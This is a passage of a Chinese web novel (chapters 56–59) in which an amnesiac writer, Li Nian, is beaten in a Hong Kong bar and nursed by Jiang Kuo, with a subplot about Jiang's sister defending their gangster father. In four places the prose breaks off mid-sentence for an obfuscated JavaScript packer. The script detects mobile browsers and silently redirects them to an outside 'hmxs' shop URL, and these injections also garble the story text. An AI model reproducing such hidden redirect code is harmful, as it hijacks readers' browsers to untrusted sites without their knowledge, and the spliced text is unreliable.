“当年,我在学校一共打你7次,我记得清清楚楚;要不是后来你移民,”那黄毛男人挥起拳头笑道,“我还能再打7次。” “痴线。”黎念骂道。 此时这种环境和这种贱格的陌生人已经让黎念有些躁动不安,况且在威士忌的作用下,黎念只觉得自己的情绪越发暴躁。 “不过没事,大家团聚于此,既然都系基,就不会再互相欺负。”那黄毛男人举起酒杯,“祝大家gay节快乐,一日为基,一世为基。” 黎念极不情愿地端起酒杯,甚至不清楚里面是什么酒就咕咚咕咚喝了下去。 “酒量挺好啊,大陆仔。”黄毛再端起一杯酒,“再请你一杯。” 黎念第一次听见被人叫他大陆仔,心中冒起一股无名火。 “你叫我什么?”黎念看了他一眼,一边偷偷在蓄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16722036|189407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 力。 “大家讲笑而已,”黄毛又一脸歉意,“不说了不说了。” 黎念气罢觉得头晕,挥手找来一位服务生,“唔该,畀(给)支维他奶我。” “维他奶啊,”Alan在旁边噗嗤一声,“你是要调酒吗?饮维他奶。” 黎念没理人,接过维他奶,插了根吸管自顾自喝起来。 “喂,”黄毛凑过来,“黎大福,怎么去了趟美国瘦成这样?你老豆老母不是赚了一堆钱吗?” 黎念的怒火终于被这外号成功激起。 “你叫我什么?”黎念捶了下桌子,上面的瓶瓶罐罐迅速跳起又原地落下。 “黎大福,这不是你名字吗?”黄毛一头雾水,毕竟他是真想单纯聊聊天。 一句话没说完,黎念操起维他奶瓶冲黄毛头上狠狠砸去。 周围一声尖叫。 “打人啦,打人啦!”几个零号撅起翘臀,尖叫着撒腿往门口一哄而散。 黎念回过神的时候,维他奶瓶已经在黄毛头上砸开了花,微黄色的豆奶顺着黄毛湿漉漉头发滴下,流过黄毛惊愕的表情。 黎念愣了几秒,那股无名火消失了,成功转移到黄毛以及其他男人身上。 几人包括Alan团团围住黎念,脸上带着恼怒。 “我好心带你来消遣,看你成天孤苦伶仃一人还有精神病,你居然随便打人?”Alan质问道。 “我,我没有。”黎念回答。 黄毛头上的维他奶已经慢慢变色,见血了。 黎念发现几人一致针对他的时候已经太迟,拿出手机想打电话call警察。 “收了他手机!”黄毛抹干奶迹血迹,熟练地操控旁边认识的弟兄。 一眨眼,黎念右手的手机不翼而飞,飞过来的是黄毛的酒瓶。 一个接着一个,大部分砸头,带着接二连三的脆响。 他敢说他头上现在的伤比那个黄毛要严重一千倍,因为血已经从头顶横七竖八流到无袖衬衫上。 “冚家铲!”黎念晕血,整个人在几个气势汹汹gay佬的追赶下连滚带爬冲向门口。 出来七仔便利店,黎念深吸一口新鲜空气。 “别跑!”后面以黄毛为首的群人还在追赶。 “先生,重新进去需要买券。”前台的人一脸友善道。 黎念骂道你看我像是还想回去的人吗,瞥向门口刚好看见一男一女穿着警服的阿Sir正好在巡街。 “救命啊!”黎念嘶声力竭朝差人喊。 然而隔着玻璃窗,阿Sir压根听不见声音。 “捉住他!”几人掐住黎念的两只手臂往后使劲一掰,整个人跪倒。 头上又挨了几脚,手已经麻得没了知觉。 “啊。”黎念痛苦哀嚎。 “冚家铲,看我今晚不干死你。”黄毛顺手拿起一瓶维他奶,狠狠朝黎念头上一砸。 两清了。 但求生意识让黎念清楚事情还没结束,因为黄毛又从柜台拿了盒安全套。 黎念趁几人挑安全套,自己拎起桌子砸破大门出逃。 这家七仔便利店的巨响惊到街上的人,包括两位阿Sir。 趁着骚乱,黎念冲到街头拦住一辆的士。 “去哪?”司机侧过头。 “中环。”黎念哽咽几声,情急之下报了江扩家的地址。 57. 第 57 章 黎念被全身伤痕折磨得噌噌流泪,还忍不住扇了驾驶座的后背一巴掌。司机竟然没生气。 “呜呜呜呜......”黎念对着衣服上的血迹呜咽。 “先生,使唔使去医院?”司机问。 “不用,直接去,地址,快点。”黎念抹眼泪。 这边江扩准备周末去找黎念,顺便把黎念的红绳给修好了。 这会正在浴室开着花洒洗头,一边回忆往事。 当时黎念还在旁听,每天穿着gay里gay气的套装站在江扩课室前笑眯眯看他。 当时黎念还准备去打个唇钉,被江扩一巴掌扇不敢了。 主要是亲嘴儿的时候弄那么硬一颗金属在那磨来磨去,他想想都不舒服。 亲嘴儿?干那个? 江扩开始回味那些浴室小扩大战小念念,一只手忍不住去叫醒小扩。 然而还没带兄弟快活一把,兄弟就被猛烈的敲门声吓回去了。 大福警惕望着门外,呲牙汪汪叫了几声。 “边位啊?”江扩开了厕所门怒道。 “我,我。”黎念倚在门那边虚弱道。 江扩吃惊,即刻套上衣服厕所冲出去。 开了门,浑身血迹的黎念跟不倒翁似的往江扩身上倒,又扶墙坚持站回去。 脸上有血,有泪,还一身酒味。手上也有血。 “谁干的?”江扩把黎念弄进来带上门。 “兰桂坊有个七仔,里面,是个基吧。”黎念颤颤巍巍道。 “他们还准备。”黎念捂着头哽咽。 “准备什么?”江扩咬着牙问。 “痛。”黎念拿衣袖擦眼泪。 “走,去医院。”江扩顺手拿起衬衫,带黎念下了楼。 黎念还在抽抽搭搭地哭,脸上的血迹早就干透了,只有眼泪是流动的。 “收声,”江扩一边拦的士,一边不忘侧过头挖苦,“活该你,谁叫你去的gay吧,现在被同类围攻知道怕了?” “我怎么知道?我上次去的也不这样。”黎念气出一个鼻涕泡。 “叫你别去那种地方,酒吧就是酒吧,不管是不是酒吧,只要有酒精的地方就是有危险的,”江扩恨铁不成钢,抬手冲黎念额头就是一巴掌,“喝醉酒,谁知道他们会做什么?” 黎念更委屈了。 他在受伤的第一时间想起的是这个跟他没什么感情的填词佬,还专门跑过来找他哭。结果这个死填词佬一句安慰的话都没有,还一直在挖苦责怪! “扑街填词佬。”黎念又抹了一把眼泪。 “你踏马说啥?!”江扩气笑了。 “你跟你家里那只白色的狗一样丑。”黎念又双抹了把眼泪。 江扩本能的准备伸-出手揪黎念的耳朵晃几下,结果这时驶过来一辆的士。 “上车。”江扩开了车门,一把把黎念推进的士后座。 “唔该玛丽医院。”江扩说。 “哇,你朋友两只手都流紧血啊,”的士师傅看了黎念一眼,“去嘉诺撒啦,私立医院快一点,而且没有斗殴记录,对你们这些古惑仔好些。” “不是古惑仔。”黎念忍着头晕说。 “那就嘉诺撒医院,唔该快点。”江扩说。 晚上的公路车流稀少,司机师傅加快油门狂飙,看起来挺享受这种刺-激。 不久下起蒙蒙小雨,黎念转头发现车窗起了白雾。 偷偷瞥了旁边的江扩一眼,伸-出手指在车窗上歪歪扭扭写了四个字。 “江-扩-係-狗。”黎念鬼鬼祟祟念道。 “什么?”江扩熄了手机屏幕,凑过去问。 “没。”黎念顺手把上面的字擦了。 “为什么来找我处理?”江扩问。 “不知道,”黎念郁闷地摇摇头,“黎小姐离得远,我又记得你的地址,就过来了。” “哦?”江扩拉长声调,“不是很讨厌我吗?你自己不会去医院?” 黎念顿了顿,眼眶里的泪又忍不住流出来了。 “我不知道。”黎念吸了吸鼻子。 “擦。”江扩从挎包拿出纸巾递给黎念。 这会江扩只有心疼。黎念虽然失忆,但有的潜意识还是没忘,包括“有困难,找江扩”。 车终于到了半山旧山顶道的嘉诺撒医院,付钱后江扩扶着黎念下了车。 医院的建筑古典,高高的圣母像散发光辉,环境还算优美。 “别碰我。”黎念站稳后推开江扩的手。 “你又来了。”江扩的玻璃心又被针扎了一下。 “不是,”黎念说,“我能站好。” 走了几步,黎念就一阵晕头转向,趔趔趄趄扑到巴士站的铁柱上。 “还说能走!”江扩骂骂咧咧搀起黎念进了医院急诊大门。 “哇,点搞成咁嘎(怎么搞成这样的)?!”一位急诊医生见某人浑身是血,断定又是斗殴的混混,“过来检查伤口。” 黎念过去之后,江扩在护士监督下拿了支笔,在老式挂号簿上面签了个名字。 黎念脱掉衣服躺在病床上。 “这是旧伤?”医生俯身检查黎念头上的伤疤。 “不知道。”黎念一脸迷茫。 “这是怎么会的?”医生指着太阳穴的缝痕。 “不知道。”黎念摇头。 “这是怎么会的?”医生又指着手臂一处烫伤。 “不知道。”黎念摇头傻笑。 医生看白-痴似的瞪了黎念一眼,开始检查身上的伤口。 这时江扩挂完号进来了。见江扩身影,黎念肉眼开始有点慌。 “出去。”黎念别过头。 “怕羞啊?”医生拿出消毒工具,挖苦道,“怕羞就不会跑去跟人斗殴。” “嘶~”黎念红温,同时觉得江扩嘴巴比这个医生干净多了。 其实这个姓江的,也没那么讨厌吧... “这又是什么?”给黎念手上的玻璃伤口消毒时,医生又戳了一下黎念肋骨下面一处圆形的伤疤。 黎念发觉痕痒,噗嗤一笑。 “不知道。”黎念故技重施。 “你这位朋友是一问三不知吗?”医生挖苦道。 “哦,他失忆了,那里是烟头烫伤。”江扩想起几年前问过,黎念说是被他爸烫的。但现在黎念脑子没记忆,只好帮他答了。 “烟头烫伤,讲大话(撒谎)也太离谱了吧?”医生一脸不屑,“雪茄都没这么大直径,是枪伤吧?” “咩啊?”江扩跟黎念一齐失声喊道。 黎念自然想不起来什么时候被枪打过,就连江扩也懵了。这么多年的肌肤接触,江扩压根没往枪伤上面想。 如果真是枪伤,黎念当时为什么隐瞒了?什么时候的事?谁打的? 脑里浮现江广荣这个名字的时候,江扩打了个冷颤。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16722037|189407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “在美国被打的。”黎念照搬黎徊的话。 如果是在香港被打的,那就是另外一回事了。毕竟香港严管枪支弹药,这一查下去,不知到猴年马月才能结案。 而且黎念这会又记不起这些。 “对,美国打的。”江扩重复,又眯眼意味深长地看着黎念。 “OK。”医生没再问什么,消毒完又让黎念去做个X光,顺便抽血。 黎念在拼命挣扎下还是被江扩按住扎了血管,又拍了个片子。还好没地方骨折。 江扩拿着抽血和拍片的结果带黎念进了老旧电梯,灯光时明时暗,仿佛电梯下一秒就会停止运作。 “这么老的电梯,也不修修。”江扩搂紧黎念,不耐烦地道。 黎念缠着绷带的两只手还带着血,被江扩搂在旁边不敢动。 没想到这电梯运行一半,竟然猛然间停了。 下一秒,整座医院灯光熄灭,彻底停电。 “啊!”黎念羸弱的身姿整个缩进江扩的怀里,一边小声哀嚎。 外面传来护士和医生的脚步声,似乎是去开电闸。这种停电情况在老式医院并不少见。 “没事,没事,”江扩用戴着红绳的那只手,轻轻拍打黎念的背部。 黎念轻度惊恐平静过后,呼吸逐渐平稳。 狭小黑暗的空间里只容下两个人。江扩拿出手机开了照明,这才亮了些。 “入边(里面)系咪有人?”有护士发现电梯的动静,过来敲门了。 “有两个。”江扩回答。 黎念还是缩在江扩怀里,许久感觉自己后背被什么珠子压到了,又痒又疼。 难受了一会,黎念终于忍不住探出一只手往不舒服的地方抹。 “干嘛?”江扩缩回手。 “是什么?”黎念小心翼翼问。 “红绳。”江扩将手放下,打开手机的手电筒展示给黎念看。 黑暗中这条红绳的金箔部分闪着微弱金光,诡秘浪漫。 黎念拿手去触碰,转了几圈都看不厌。当时在病床咬断自己红绳那一幕逐渐显现。 但凡他再看仔细点,也就不会觉得丑了,甚至还弄断它。 “瞧,这是什么?”江扩变魔术般从口袋掏出一根完整的红绳。 “不是断了吗?”黎念偷偷看了江扩一眼。 “修好了,”江扩轻轻晃了晃,“戴不戴?不戴也没关系,我藏着,等你恢复了...” 话未毕,黎念缓缓伸出左手。 “戴就戴吧。”黎念垂眸,看起来不太乐意。 江扩心颤了一下,轻轻把红绳重新套上黎念的左手手腕,一边还得小心手上包扎伤口的绷带。 黎念缩回手,上下打量这条红绳。虽然记忆缺失,但他感觉得到这条红绳的重量。 “先生,请稍等几分钟,电闸即刻修好。”外面传来声音。 “嗯。”江扩冷静回答。 黎念通过手机的光源看清江扩侧脸的轮廓,脑里闪过一个念头。 “熄灯吧,我眼睛发涩。”黎念好不容易找了个借口。 “哦。”江扩迅速关了手机手电筒,周围又是陷入一片黑暗。 在这种伸手不见五指的情况下,江扩一直紧盯电梯的门,丝毫没有感受黎念的接近。 直到两片温热的东西贴在江扩的嘴唇上,小心翼翼地蹭了一下又快速抽离撤退。 江扩倏地瞪大双眼。 58. 第 58 章 外面的人在为电源恢复忙里忙外,还为电梯里面两人的安全操心头疼。 黑暗狭小的空间跟外边隔着一道铁拉门和不锈钢电梯门,估计外面的人都没想到在这种情况下,里面俩大男人这会竟然在乌漆麻黑中深情狗血对望。 “不许走。”江扩强硬地勾住黎念的颈部,“亲我干什么?你不是很讨厌我吗?” “我就是讨厌你,不知道为什么,”黎念被勾得不舒服,脖子往后仰了一点,“但是你这么忙里忙外的,我想着亲一下你会高兴点。” 江扩哑然失笑。 “那再亲一下。”江扩说。 “不亲。”黎念不耐烦了。 “你就是欠打。”江扩骂道。 “我亲你一下就是给你脸了,你还要我亲第二次,”黎念坚决摇摇头,“不亲!” 江扩见软的来不了,只好来硬的,直接勾紧黎念的颈部主动扑上去啃咬对方柔嫩的嘴唇。 然而江扩根本没发现黎念嘴唇还有细小的划伤,闭着眼自顾自品尝。直到尝出满嘴铁锈味才察觉不对劲。 “嘤嘤嘤。”黎念又发出熟悉的哭声。 “怎么嘴唇也有?!”江扩大吃一惊,从挎包抽出两张纸巾给黎念按着止血。 “我恨死你。”黎念一手拿纸巾止血,一手抹眼泪。 “不恨不恨。”江扩一脸愧疚给黎念拍背。 灯亮起来的同时,电梯门刚好也打开了。一群医生护士和保洁在门口扎堆,眼神齐刷刷地盯着几乎缠上去的俩男人,就是不说话。 “哦,他害怕,我给他点安慰。”江扩解释。 “我嘴唇又痛又麻。”黎念抹眼泪。 越解释越奇怪。 江扩心想此地不宜久留,只好搀起黎念在众人炽热的目光下出了电梯间。 到了一楼,才找到刚刚给黎念消毒的那位医生。 “刚黑蒙蒙的,你们去哪了?”医生顶着两个黑眼圈问。 “在电梯。”黎念抹眼泪。 “别哭了!”江扩轻声喝道。 黎念收回鼻涕。 检查结果发现黎念骨头啥事儿都没有,医生给拿了点双氧水和碘酒。 主要是头上的伤,黎念总嚷着头晕,CT拍出来又没事。医生没办法只好给开了药方,让他们去药店自己拿。 凌晨的街上,药房大多关铺了,唯一亮着的是屈臣氏的灯光。 “医生只说买止疼药和止晕?”黎念郁闷,“但我好像有点胸口疼。” “哦,”江扩下了车,应道,“焦虑还没完全好吧?躯体症状,不用管他。” “你一点都不懂。”黎念一脸恼怒。 江扩没有接话,自己下车根据药单给黎念买药。 屈臣氏里,药剂师坐在收银台后面打瞌睡。 “你好。”江扩唤醒药剂师。 “哈喽先生,有咩需要帮手?”药剂师问。 “唔该帮我拿这些。”江扩给了药单。 药剂师是位年轻女性姓黄,也算是黎小福的资深书粉,当年甚至参加过黎小福的新书发布会,亲眼目睹江扩送花的浪漫一幕。 “哈喽,江先生。”黄小姐打招呼道。 “你系?”江扩微微仰起下巴问。 “你不认识我的,”黄小姐背对着江扩往药柜上拿药,“当年在发布会我只待了一小会儿,医学系有点忙。我现在出来实习找不到医院工作,就在这里当药剂师。这边竞争力太大了。” “你是书迷?”江扩问。 “嗯,”黄小姐点头,“看了好几年,最近黎先生都没更新,我也没怎么看书了。” “他可能要一段时间,在养身体。”江扩说。 “身体有什么问题?”黄小姐问。 “保密。”江扩淡淡回答。 “替我跟他问个好,我应该还能待香港五年,还想再看他出新书呢,”黄小姐用了大陆的网络用语笑道,“看他出新书再回大陆,也算是意满离了。” “好。”江扩点头。 黎念在车窗往屈臣氏里看,只见江扩在跟药剂师一边聊天一边微笑。心中莫名酸酸的。 “这里停不了车的。”的士师傅也开始不耐烦。 “死填词佬,也不买药。”黎念骂骂咧咧坐回车座。 忍了几秒没忍住,黎念用有点残废的左手摇开车窗,“喂,填词佬!” 江扩在铺内隐隐约约听见声音,茫然地回头看黎念。 “抄牌了!”黎念不耐烦道。 “是黎小福吗?”药剂师双眼亮起,冲黎小福又蹦跳又挥手,“黎小福,加油啊!” 江扩还以为是个冷静的正常书粉,想不到原来也这样。 “痴线。”黎念白了那女人一眼,重新坐回。 “他说啥?”黄小姐没听清。 “他说谢谢关注。”江扩滴完八达通拿起药和水回了车里。 “吃。”江扩照服用说明书给黎念掰了药,放到黎念缠着绷带的手里。 “那个女人是谁?”黎念有些闷闷不乐。 “你书迷。”江扩回答。 “我还有书迷?”黎念一头雾水,又瞬间恍然大悟,“哦,我是作家,你上次讲过。” “准备继续写吗?大作家?”江扩眉眼间笑道。 “不写,”黎念接过水咽下药,“我踏马说了,与其写那些不切实际的傻叉东西,不如谈几场轰轰烈烈的恋爱。” “你说什么?!你说什么?!”江扩心脏猛地一跳,捏住黎念的两只肩膀激烈摇晃,唾沫星子跟下雨似的往黎念脸上溅,“你再说一遍,再说一遍!” “我踏马......”黎念抬手想一巴掌呼过去,这才发现不对劲。 自己不知什么时候掌握了这种大陆仔才会的口音。 “我咋了?”黎念发愣。 “你,老家东北的,我,想起来了吗?”江扩眼里含泪。 黎念摇头,刚吃了止晕药,这会有点昏昏沉沉的想睡。 “我想训觉。”黎念又切回语音包。 江扩还以为黎念开窍了,一阵失望。但又很快恢复平静。 “睡吧,睡吧。”江扩搂住肩膀。 的士车在路上疾驰,黎念在江扩肩膀上睡着了。 江扩低头看了一眼黎念缠着绷带的两只手和贴着纱布的额头,想起一部很早的同志爱情电影。 镜头里受伤的何宝荣,也是满手纱布这样靠在黎耀辉的肩膀,在计程车后座睡了过去。 电影般的人生啊... 江扩垂眸瞥了一下黎念的睫毛,别过头偷乐。 黎念貌似感受到肩膀在颤动,极不乐意地“嗯”了一声。 江扩收回笑容。 回到公寓楼下,江扩拍醒黎念。 “到了。”江扩小声说。 “黎徊家?”黎念眼睛睁了一半,“你家我可不去,那只狗跟你一样,样衰。” 江扩叹了口气,飞快滴了一下八达通。这便强行把黎念从车里抱下来。 “难看。”黎念在江扩臂弯里一边犯困一边哽咽。 “难看个屁,”江扩把黎念抱进电梯间,“你姐上班没空,这段时间由我照顾你。” 说罢江扩又贱贱地偷乐一番。 “我讨厌你。”黎念憋了几秒又说。 “行行行,好好好,你讨厌我。”江扩一个劲儿点头。 “我憎死你。”黎念在臂弯里瞪了江扩一眼。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16722038|189407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好好好。”江扩继续点头,把黎念打横抱出电梯间。 出来的时候,黎念的头又让电梯铁门磕了一下。 “啊。”黎念哀嚎。 “对不起。”江扩换了个抱姿出来。 “我憎死你!”黎念哭出一个鼻涕泡。 回到家里,江扩的两只手臂已经失去知觉。 黎念躺倒在床上,两只缠绷带的手举到枕头上呼呼大睡。 江扩洗漱完进房间,黎念在梦呓。 “大哥。”黎念说。 江扩这会刚要脱下鞋爬上床,十只脚趾吓得瞬间抠紧人字拖。 暗自激动了几秒,江扩屏住呼吸凑过去听听还有没有其他的梦话。 “我讨厌你。”黎念喃喃道。 江扩翻了个白眼,掀开被子躺下去。 “好像又有点喜欢。”黎念眯着眼又梦呓道。 隔天江扩请了假,在家好好看住黎念。 “你看我干啥。”黎念端坐沙发,问对面实木椅子上坐着的江扩。 “你又看我干什么,”江扩说。“你先看我的。” “嘁。”黎念转过头抱怨这个填词佬咋还不出门。 到时间了,江扩拿出绷带和双氧水碘酒来给黎念消毒。 “疼。”黎念往沙发靠背缩了缩。 “这个不疼。”江扩举起碘酒。 “那这个呢。”黎念用木乃伊手指着另一瓶。 “很疼。”江扩挑起一边眉毛。 “你说话跟放屁似的。”黎念气笑了。 一天下去,黎念已经习惯了这种奇怪的口音。 见黎念越缩越远,江扩索性把他两只脚扯过来。 “我求你了。”黎念又要开始嘤嘤嘤。 “一下就好的,我是为你好。”江扩撕开黎念身上所有绷带和纱布,开了手上的双氧水。 “就不能那瓶先吗?”黎念带着哭腔说。 “不行。”江扩拿出棉签浸湿,往黎念头上的伤口按上去。 “你不能说一声吗?!”黎念的眼泪一个劲儿地往外涌。 “好,第二次。”江扩扔掉棉签用新的浸湿,又往另一处伤口按过去。 黎念哇一声哭出来。 “很快就好了,很快就好了。”江扩风驰电掣给黎念所有伤口倒上双氧水。 “我讨厌你。”黎念嘤嘤嘤。 “你应该感谢我。”江扩拧上双氧水。 “我讨厌感谢你。”黎念抹眼泪。 江扩干笑几声,拿出不疼的碘酒。 “这是碘酒,不疼的。”江扩说。 擦了几处伤口,黎念还是哀嚎。 “伤口疼。”黎念抽抽搭搭地说。 “谁叫你去gay吧鬼混,这就是给你长记性。”江扩说罢继续往黎念伤口上按。 “我想看电视,转移,转移注意力。”黎念抹干净眼泪说。 “好。”江扩顺来遥控,开了小电视。 “十年前宣布退出江湖的大哥荣,近日被曝做非法生意,屡次被告上法庭,我们现在采访律师江收江小姐,”记者举着话筒,“问一下江小姐为何帮大哥荣一帮□□辩护。” “哇,黑大佬喔。”黎念忘了伤口的疼痛,冲电视啧啧摇头。 江扩手中的棉签猛然一顿。 “我系律师,客户有需求,这是我的职责。”旁边一个熟悉的身影。 “现在这世道还这么乱吗?”黎念盯着电视上的人,总感觉有印象。 “传闻你同大哥荣系父女关系,是否属实?”记者又问。 “并非属实。”大名鼎鼎的江律师微笑道。 江扩怒红了脸,低头使力,几根大棉签棒顷刻被掰折成两截。 59. 第 59 章 黎念吃完药在沙发睡觉的时候,江扩进了房间悄悄锁上门。拿出手机。 此刻江收正在自己的律师所办公室,为下午的辩护做准备。 拿出一支香奈儿口红擦拭的时候,旁边的手机正好响了。黎徊用余光一瞥,是她的好哥哥江扩。 “喂?边位啊?”江收按了扩音,拔出口红盖子往上唇轻轻涂拭。 “不认识你哥了?”江扩笑道。 “哦,”江收说,“我差点忘了,哥你那边还好吧?听说大福失忆了?” “没有,”江扩说,“你说的哪个大福?白色小小只的那个还是卷毛的那个。” 江收噗嗤一声,笑得头后仰。 “狗还能失忆?”江收抿了抿红唇。 “这我就不知道了,但是就算好狗,也是会变的对吧。”江扩也笑了。 “我听说有人养了几只藏獒,”江收“啵”一声盖上口红盖,“结果有一天因为忘记保姆忘记喂食,几只藏獒将主人咬死,一-夜之间分食完。后来被发现的时候,只剩下完整的骨头。” “当然,”江扩面不改色,“毕竟狗急也要咬人。” “行了哥,你打电话来不会是想跟我聊狗吧?”江收一边收拾下午需要用的资料,眼睛始终没有看手机。 “我就是来聊狗的,”江扩收了笑容,“聊聊今天的新闻,你给狗辩护,是怎么一回事?” “哥,”江收终于停下手中的工作,“江广荣他一句讲晒(说到底)还是我们亲爸啊。” “我没他这个爸,”江扩坐到窗边点了根烟,“我只想说你学了这么多年法律,还是分不清黑跟白,连臭名昭著的大哥荣也要帮他辩护,还是。” 江扩顿了顿,“还是你一开始学法律,就是冲着帮你爸辩护去的。” 江收没了声音。 江扩等不到一个回答,冷笑一声就准备挂断。 “哥,”江收叹了口气,“我其实也很矛盾啊。一个是公平公正,一个是我爸。” “这次是什么案子?”江扩弹了弹烟灰,“走私?卖粉?还是杀人放火?” “抱歉,我要为我的辩护人保密。”江收佯装一脸愁容。 “放屁!”江扩破口大骂。 “江收我算是看清你了,”江扩啐了一声,“当年刚见到你天天玩古惑仔那套游戏,我就判断你跟你爸绝对是一类货色;后来你考上G大学法,我还以为你走回正路了,没想到你学法律是要给你爸当贴身律师,我想不到,我是真想不到。” “不愧是亲生的,真棒,”江扩索性叼着烟,给江收几个响亮的掌声,“不错嘛,公平,公正,自由,以和为贵。” “我说了,我也没办法,他是我爸。”江收用力给资料订上订书机,对江扩说。 “放屁,”江扩掐灭烟头,“他给你多少钱?你就是为了钱吧?” “随便你怎么说。”江收抬头跟落地窗中自己的模糊身影对视几秒,在江扩的质问中挂了电话。 回归平静后,江扩在窗边坐了不知多久。 外面传来敲门声。 “我饿了。”黎念在外面说。 “饿了不会自己煮吗?”江扩猛地转身对着门吼道,“滚!” 外面沉默了。 江扩此刻只想安静一会。重新面对窗外鳞次栉比的高楼的同时,愧疚也在心里蔓延开来。 “黎念。”江扩试着叫了一声。 没人回答。 “黎念!”江扩一声大吼,站起来踢倒椅子。 还是没人回答。 江扩心猛的一沉,开了房间门眼光四处寻找。黎念又跑了,手机也拿走了。 昨儿来的时候,黎念本就没带行李。现在让他一吼,估计又哭哭啼啼回他姐那儿告状去了。 “汪!汪汪汪!汪汪!”大福急得在笼子里转圈圈。 “大福,你知道他去哪了吗?”江扩问狗。 大福不答,只是埋头吃碗里剩下的狗粮。 江扩暗骂自己一声,抓起门钥匙拉开家门,出去就往楼梯间冲。 “黎念对不起对不起对不起我再也不吼你了。”江扩默念。 黎念揣着一肚子的委屈下去买饭。 自己又不会做饭,那个姓江的吼什么吼?凭什么! 在seven仔门口踌躇很久,黎念才胆颤心惊地走进去。估计是上次那个seven仔兼gay吧的诡异设计弄出来的阴影。 还好这是间正常的seven仔,里面也有冷冻的便当和三明治。 黎念选了个便当正准备过去付钱,迟疑片刻又极不情愿地倒退回去,本能地给那个姓江的又拿了个便当。 收银员给便当加了热。付了钱出去,黎念随便找了便利店外边的小桌子对付。 刚坐下,黎念就看见对面电梯口出来一个人儿,心中一惊抱起两个便当就跑。最后躲在seven仔后面的街上随便找了个位置蹲下。 开吃。 在楼下寻找几圈,江扩终于在seven仔后面的街上看见蹲在街角狼吞虎咽的黎念,活像个刚偷渡过来挨饿的大陆仔。 黎念嘴里嚼着饭,见江扩追来,扔下便当撒腿就跑。 “喂!”江扩怒道,“你丫的跑什么?!” “你打我!”黎念气喘吁吁。 “我几时打你!”江扩气笑了。 还好江扩腿脚利索,不跟黎念一样像是老弱病残,几步就追上黎念并扑过去。 “放开我。”黎念哭得梨花带雨。 “你丫的跑什么跑?啊?!”江扩揪住黎念的耳朵,狠命晃了几下。 “你不是叫我滚吗?”黎念哭哭啼啼,“那我就滚了,有什么错?你丫的你丫的,你凭什么骂我?!” “大陆仔,来香港讲点文明啦。”一个老太用蹩脚的普通话三言两语嘲讽完走了。 “你讲咩啊?边个大陆仔啊!”黎念指着老太的背影吼道。 “不气不气,我们回家吃饭。”江扩扶起黎念。 “不回,”黎念垂眸,“你叫我滚的。” “你是要我大庭广众把你抱回去,”江扩凑到耳旁威胁道,“还是自己乖乖走?” “我自己走。”黎念回去捡气便当,始终走在江扩面前。 江扩抢过来帮忙提,顺便拉开袋口往里面看。 “哟,还给我一份呢,这么好。”江扩吹了声口哨。 “不是给你的。”黎念嘴硬,“你叫我滚,我准备回黎小姐家,这一份给她的。” “我不信。”江扩说。 黎念沉默了一路。 回到家,黎念用半残废的手打开江扩的便当,摆在茶几上。 “吃。”黎念蜷在沙发说。 江扩蹲到黎念旁边吃饭。 “刚刚,对不起,我情绪激动了。”江扩支支吾吾道。 “是不是今天的新闻?”黎念问。 江扩回头看了他一眼。 “我猜就是,里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16722039|189407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面的不公平辩护惹你生气了。”黎念说。 “也不算。”江扩咬牙切齿道。 他只是感觉这么多年跟江收这个继妹明明关系不错,而且江收也在撇清父亲的关系,开律师所收获名声,现在看来估计都是有意的。 这让江扩觉得自己似乎被背刺了。 “其实我觉得,这个世界有好人也有坏人,那些人做坏事但是跟你毫不相干,你不用管那么多。”黎念说。 “你懂个...”江扩瞪了一眼失忆症患者的脑袋。 “我睡觉了。”黎念趴到沙发靠背上,闭了眼。 由于黎念伤口不能碰水,两只手也缠着绷带,晚上江扩只能委屈自己给黎念擦擦身子。 望着浴室黎念艰难脱衣的身影,江扩心疼的泪水差点从嘴角淌下。 “我帮你。”江扩擦掉眼泪走过去,很迅速地给黎念脱下衬衫。 “我想冲凉,我不想只擦,”黎念一脸难为情,“太脏了。” “不行,一时半会是冲不了水的,”江扩开了花洒调水温,“这几天就由我给你擦身,我保证擦得比开水烫过的鸭还干净。” “痴线。”黎念翻了个白眼。 